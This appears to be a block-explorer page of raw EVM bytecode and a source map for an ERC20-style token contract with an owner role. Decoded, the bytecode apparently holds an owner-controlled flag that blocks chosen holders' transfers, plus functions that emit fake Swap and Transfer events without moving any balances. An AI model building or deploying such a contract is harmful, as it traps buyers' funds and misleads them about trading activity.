e613ce37657fb8d5e3d130840159d8226000868660006040516109679493929190611c95565b60405180910390a3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168585838181106109bb576109ba611b76565b5b90506020020160208101906109d091906119b2565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a159190611784565b60405180910390a38080610a2890611bd4565b9150506108d0565b5050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610ac590611b45565b80601f0160208091040260200160405190810160405280929190818152602001828054610af190611b45565b8015610b3e5780601f10610b1357610100808354040283529160200191610b3e565b820191906000526020600020905b815481529060010190602001808311610b2157829003601f168201915b5050505050905090565b60005b84849050811015610caa57848482818110610b6957610b68611b76565b5b9050602002016020810190610b7e91906119b2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610be19493929190611cda565b60405180910390a3848482818110610bfc57610bfb611b76565b5b9050602002016020810190610c1191906119b2565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8f9190611784565b60405180910390a38080610ca290611bd4565b915050610b4b565b5050505050565b600080610cbc610ee4565b90506000610cca8286610db5565b905083811015610d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0690611d91565b60405180910390fd5b610d1c8286868403610eec565b60019250505092915050565b600080610d33610ee4565b9050610d408185856110b5565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610da89190611784565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e44611463565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610eb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaa90611e23565b60405180910390fd5b610ebc816114e1565b50565b610ec7611463565b80600560006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5290611eb5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190611f47565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a89190611784565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b90611fd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a9061206b565b60405180910390fd5b61119e8383836115a5565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121c906120fd565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113615760011515600560009054906101000a900460ff16151514611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790612143565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113be9190611784565b60405180910390a36113d18484846115aa565b50505050565b60006113e38484610db5565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461145d578181101561144f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611446906121af565b60405180910390fd5b61145c8484848403610eec565b5b50505050565b61146b610ee4565b73ffffffffffffffffffffffffffffffffffffffff16611489610a8d565b73ffffffffffffffffffffffffffffffffffffffff16146114df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d69061221b565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115e95780820151818401526020810190506115ce565b60008484015250505050565b6000601f19601f8301169050919050565b6000611611826115af565b61161b81856115ba565b935061162b8185602086016115cb565b611634816115f5565b840191505092915050565b600060208201905081810360008301526116598184611606565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116968261166b565b9050919050565b6116a68161168b565b81146116b157600080fd5b50565b6000813590506116c38161169d565b92915050565b6000819050919050565b6116dc816116c9565b81146116e757600080fd5b50565b6000813590506116f9816116d3565b92915050565b6000806040838503121561171657611715611661565b5b6000611724858286016116b4565b9250506020611735858286016116ea565b9150509250929050565b60008115159050919050565b6117548161173f565b82525050565b600060208201905061176f600083018461174b565b92915050565b61177e816116c9565b82525050565b60006020820190506117996000830184611775565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126117c4576117c361179f565b5b8235905067ffffffffffffffff8111156117e1576117e06117a4565b5b6020830191508360208202830111156117fd576117fc6117a9565b5b9250929050565b60008083601f84011261181a5761181961179f565b5b8235905067ffffffffffffffff811115611837576118366117a4565b5b602083019150836020820283011115611853576118526117a9565b5b9250929050565b6000806000806040858703121561187457611873611661565b5b600085013567ffffffffffffffff81111561189257611891611666565b5b61189e878288016117ae565b9450945050602085013567ffffffffffffffff8111156118c1576118c0611666565b5b6118cd87828801611804565b925092505092959194509250565b6000806000606084860312156118f4576118f3611661565b5b6000611902868287016116b4565b9350506020611913868287016116b4565b9250506040611924868287016116ea565b9150509250925092565b600060ff82169050919050565b6119448161192e565b82525050565b600060208201905061195f600083018461193b565b92915050565b6000806020838503121561197c5761197b611661565b5b600083013567ffffffffffffffff81111561199a57611999611666565b5b6119a6858286016117ae565b92509250509250929050565b6000602082840312156119c8576119c7611661565b5b60006119d6848285016116b4565b91505092915050565b600080600080606085870312156119f9576119f8611661565b5b600085013567ffffffffffffffff811115611a1757611a16611666565b5b611a23878288016117ae565b94509450506020611a36878288016116ea565b9250506040611a47878288016116ea565b91505092959194509250565b611a5c8161168b565b82525050565b6000602082019050611a776000830184611a53565b92915050565b60008060408385031215611a9457611a93611661565b5b6000611aa2858286016116b4565b9250506020611ab3858286016116b4565b9150509250929050565b611ac68161173f565b8114611ad157600080fd5b50565b600081359050611ae381611abd565b92915050565b600060208284031215611aff57611afe611661565b5b6000611b0d84828501611ad4565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b5d57607f821691505b602082108103611b7057611b6f611b16565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611bdf826116c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611c1157611c10611ba5565b5b600182019050919050565b6000611c27826116c9565b9150611c32836116c9565b9250828201905080821115611c4a57611c49611ba5565b5b92915050565b6000819050919050565b6000819050919050565b6000611c7f611c7a611c7584611c50565b611c5a565b6116c9565b9050919050565b611c8f81611c64565b82525050565b6000608082019050611caa6000830187611c86565b611cb76020830186611775565b611cc46040830185611775565b611cd16060830184611c86565b95945050505050565b6000608082019050611cef6000830187611775565b611cfc6020830186611c86565b611d096040830185611c86565b611d166060830184611775565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611d7b6025836115ba565b9150611d8682611d1f565b604082019050919050565b60006020820190508181036000830152611daa81611d6e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e0d6026836115ba565b9150611e1882611db1565b604082019050919050565b60006020820190508181036000830152611e3c81611e00565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e9f6024836115ba565b9150611eaa82611e43565b604082019050919050565b60006020820190508181036000830152611ece81611e92565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f316022836115ba565b9150611f3c82611ed5565b604082019050919050565b60006020820190508181036000830152611f6081611f24565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fc36025836115ba565b9150611fce82611f67565b604082019050919050565b60006020820190508181036000830152611ff281611fb6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120556023836115ba565b915061206082611ff9565b604082019050919050565b6000602082019050818103600083015261208481612048565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120e76026836115ba565b91506120f28261208b565b604082019050919050565b60006020820190508181036000830152612116816120da565b9050919050565b50565b600061212d6000836115ba565b91506121388261211d565b600082019050919050565b6000602082019050818103600083015261215c81612120565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612199601d836115ba565b91506121a482612163565b602082019050919050565b600060208201905081810360008301526121c88161218c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122056020836115ba565b9150612210826121cf565b602082019050919050565b60006020820190508181036000830152612234816121f8565b905091905056fea26469706673582212201379a9eb2d6a37cb5b09c6d09d3739c3008b02ca6f4e4cc77289149433d05b3664736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d71461038a578063a9059cbb146103ba578063beabacc8146103ea578063dd62ed3e14610406578063f2fde38b14610436578063fde980ca146104525761014d565b8063715018a6146102dc5780637aac697b146102e657806381bac14f146103025780638da5cb5b1461033257806395d89b4114610350578063a1c617f51461036e5761014d565b8063313ce56711610115578063313ce5671461020a5780633811ac02146102285780633950935114610244578063477e19441461027457806366d382031461029057806370a08231146102ac5761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a05780631e89d545146101be57806323b872dd146101da575b600080fd5b61015a61046e565b604051610167919061163f565b60405180910390f35b61018a600480360381019061018591906116ff565b610500565b604051610197919061175a565b60405180910390f35b6101a8610523565b6040516101b59190611784565b60405180910390f35b6101d860048036038101906101d3919061185a565b61052d565b005b6101f460048036038101906101ef91906118db565b6105a0565b604051610201919061175a565b60405180910390f35b6102126105cf565b60405161021f919061194a565b60405180910390f35b610242600480360381019061023d9190611965565b6105d8565b005b61025e600480360381019061025991906116ff565b610740565b60405161026b919061175a565b60405180910390f35b61028e60048036038101906102899190611965565b610777565b005b6102aa60048036038101906102a591906119b2565b610824565b005b6102c660048036038101906102c191906119b2565b610870565b6040516102d39190611784565b60405180910390f35b6102e46108b9565b005b61030060048036038101906102fb91906119df565b6108cd565b005b61031c600480360381019061031791906119b2565b610a37565b604051610329919061175a565b60405180910390f35b61033a610a8d565b6040516103479190611a62565b60405180910390f35b610358610ab6565b604051610365919061163f565b60405180910390f35b610388600480360381019061038391906119df565b610b48565b005b6103a4600480360381019061039f91906116ff565b610cb1565b6040516103b1919061175a565b60405180910390f35b6103d460048036038101906103cf91906116ff565b610d28565b6040516103e1919061175a565b60405180910390f35b61040460048036038101906103ff91906118db565b610d4b565b005b610420600480360381019061041b9190611a7d565b610db5565b60405161042d9190611784565b60405180910390f35b610450600480360381019061044b91906119b2565b610e3c565b005b61046c60048036038101906104679190611ae9565b610ebf565b005b60606006805461047d90611b45565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990611b45565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b60008061050b610ee4565b9050610518818585610eec565b600191505092915050565b6000600454905090565b60005b84849050811015610599576105863386868481811061055257610551611b76565b5b905060200201602081019061056791906119b2565b85858581811061057a57610579611b76565b5b905060200201356110b5565b808061059190611bd4565b915050610530565b5050505050565b6000806105ab610ee4565b90506105b88582856113d7565b6105c38585856110b5565b60019150509392505050565b60006012905090565b6105e0611463565b60005b8282905081101561073b5760016002600085858581811061060757610606611b76565b5b905060200201602081019061061c91906119b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff1683838381811061069757610696611b76565b5b90506020020160208101906106ac91906119b2565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256107138686868181106106f9576106f8611b76565b5b905060200201602081019061070e91906119b2565b610870565b6040516107209190611784565b60405180910390a3808061073390611bd4565b9150506105e3565b505050565b60008061074b610ee4565b905061076c81858561075d8589610db5565b6107679190611c1c565b610eec565b600191505092915050565b61077f611463565b60005b8282905081101561081f576000600260008585858181106107a6576107a5611b76565b5b90506020020160208101906107bb91906119b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081790611bd4565b915050610782565b505050565b61082c611463565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108c1611463565b6108cb60006114e1565b565b60005b84849050811015610a30578484828181106108ee576108ed611b76565b5b905060200201602081019061090391906119b2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109679493929190611c95565b60405180910390a3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168585838181106109bb576109ba611b76565b5b90506020020160208101906109d091906119b2565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a159190611784565b60405180910390a38080610a2890611bd4565b9150506108d0565b5050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610ac590611b45565b80601f0160208091040260200160405190810160405280929190818152602001828054610af190611b45565b8015610b3e5780601f10610b1357610100808354040283529160200191610b3e565b820191906000526020600020905b815481529060010190602001808311610b2157829003601f168201915b5050505050905090565b60005b84849050811015610caa57848482818110610b6957610b68611b76565b5b9050602002016020810190610b7e91906119b2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610be19493929190611cda565b60405180910390a3848482818110610bfc57610bfb611b76565b5b9050602002016020810190610c1191906119b2565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8f9190611784565b60405180910390a38080610ca290611bd4565b915050610b4b565b5050505050565b600080610cbc610ee4565b90506000610cca8286610db5565b905083811015610d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0690611d91565b60405180910390fd5b610d1c8286868403610eec565b60019250505092915050565b600080610d33610ee4565b9050610d408185856110b5565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610da89190611784565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e44611463565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610eb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaa90611e23565b60405180910390fd5b610ebc816114e1565b50565b610ec7611463565b80600560006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5290611eb5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190611f47565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a89190611784565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b90611fd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a9061206b565b60405180910390fd5b61119e8383836115a5565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121c906120fd565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113615760011515600560009054906101000a900460ff16151514611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790612143565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113be9190611784565b60405180910390a36113d18484846115aa565b50505050565b60006113e38484610db5565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461145d578181101561144f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611446906121af565b60405180910390fd5b61145c8484848403610eec565b5b50505050565b61146b610ee4565b73ffffffffffffffffffffffffffffffffffffffff16611489610a8d565b73ffffffffffffffffffffffffffffffffffffffff16146114df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d69061221b565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115e95780820151818401526020810190506115ce565b60008484015250505050565b6000601f19601f8301169050919050565b6000611611826115af565b61161b81856115ba565b935061162b8185602086016115cb565b611634816115f5565b840191505092915050565b600060208201905081810360008301526116598184611606565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116968261166b565b9050919050565b6116a68161168b565b81146116b157600080fd5b50565b6000813590506116c38161169d565b92915050565b6000819050919050565b6116dc816116c9565b81146116e757600080fd5b50565b6000813590506116f9816116d3565b92915050565b6000806040838503121561171657611715611661565b5b6000611724858286016116b4565b9250506020611735858286016116ea565b9150509250929050565b60008115159050919050565b6117548161173f565b82525050565b600060208201905061176f600083018461174b565b92915050565b61177e816116c9565b82525050565b60006020820190506117996000830184611775565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126117c4576117c361179f565b5b8235905067ffffffffffffffff8111156117e1576117e06117a4565b5b6020830191508360208202830111156117fd576117fc6117a9565b5b9250929050565b60008083601f84011261181a5761181961179f565b5b8235905067ffffffffffffffff811115611837576118366117a4565b5b602083019150836020820283011115611853576118526117a9565b5b9250929050565b6000806000806040858703121561187457611873611661565b5b600085013567ffffffffffffffff81111561189257611891611666565b5b61189e878288016117ae565b9450945050602085013567ffffffffffffffff8111156118c1576118c0611666565b5b6118cd87828801611804565b925092505092959194509250565b6000806000606084860312156118f4576118f3611661565b5b6000611902868287016116b4565b9350506020611913868287016116b4565b9250506040611924868287016116ea565b9150509250925092565b600060ff82169050919050565b6119448161192e565b82525050565b600060208201905061195f600083018461193b565b92915050565b6000806020838503121561197c5761197b611661565b5b600083013567ffffffffffffffff81111561199a57611999611666565b5b6119a6858286016117ae565b92509250509250929050565b6000602082840312156119c8576119c7611661565b5b60006119d6848285016116b4565b91505092915050565b600080600080606085870312156119f9576119f8611661565b5b600085013567ffffffffffffffff811115611a1757611a16611666565b5b611a23878288016117ae565b94509450506020611a36878288016116ea565b9250506040611a47878288016116ea565b91505092959194509250565b611a5c8161168b565b82525050565b6000602082019050611a776000830184611a53565b92915050565b60008060408385031215611a9457611a93611661565b5b6000611aa2858286016116b4565b9250506020611ab3858286016116b4565b9150509250929050565b611ac68161173f565b8114611ad157600080fd5b50565b600081359050611ae381611abd565b92915050565b600060208284031215611aff57611afe611661565b5b6000611b0d84828501611ad4565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b5d57607f821691505b602082108103611b7057611b6f611b16565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611bdf826116c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611c1157611c10611ba5565b5b600182019050919050565b6000611c27826116c9565b9150611c32836116c9565b9250828201905080821115611c4a57611c49611ba5565b5b92915050565b6000819050919050565b6000819050919050565b6000611c7f611c7a611c7584611c50565b611c5a565b6116c9565b9050919050565b611c8f81611c64565b82525050565b6000608082019050611caa6000830187611c86565b611cb76020830186611775565b611cc46040830185611775565b611cd16060830184611c86565b95945050505050565b6000608082019050611cef6000830187611775565b611cfc6020830186611c86565b611d096040830185611c86565b611d166060830184611775565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611d7b6025836115ba565b9150611d8682611d1f565b604082019050919050565b60006020820190508181036000830152611daa81611d6e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e0d6026836115ba565b9150611e1882611db1565b604082019050919050565b60006020820190508181036000830152611e3c81611e00565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e9f6024836115ba565b9150611eaa82611e43565b604082019050919050565b60006020820190508181036000830152611ece81611e92565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f316022836115ba565b9150611f3c82611ed5565b604082019050919050565b60006020820190508181036000830152611f6081611f24565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fc36025836115ba565b9150611fce82611f67565b604082019050919050565b60006020820190508181036000830152611ff281611fb6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120556023836115ba565b915061206082611ff9565b604082019050919050565b6000602082019050818103600083015261208481612048565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120e76026836115ba565b91506120f28261208b565b604082019050919050565b60006020820190508181036000830152612116816120da565b9050919050565b50565b600061212d6000836115ba565b91506121388261211d565b600082019050919050565b6000602082019050818103600083015261215c81612120565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612199601d836115ba565b91506121a482612163565b602082019050919050565b600060208201905081810360008301526121c88161218c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122056020836115ba565b9150612210826121cf565b602082019050919050565b60006020820190508181036000830152612234816121f8565b905091905056fea26469706673582212201379a9eb2d6a37cb5b09c6d09d3739c3008b02ca6f4e4cc77289149433d05b3664736f6c63430008120033

Deployed Bytecode Sourcemap

22016:135:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9078:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13104:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11873:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11154:237;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13885:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10040:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10141:281;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14589:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11399:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8923:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12044:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6062:103;;;:::i;:::-;;10729:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11613:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5421:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9297:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10430:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15330:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12377:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11029:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12633:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6320:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11725:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9078:100;9132:13;9165:5;9158:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9078:100;:::o;13104: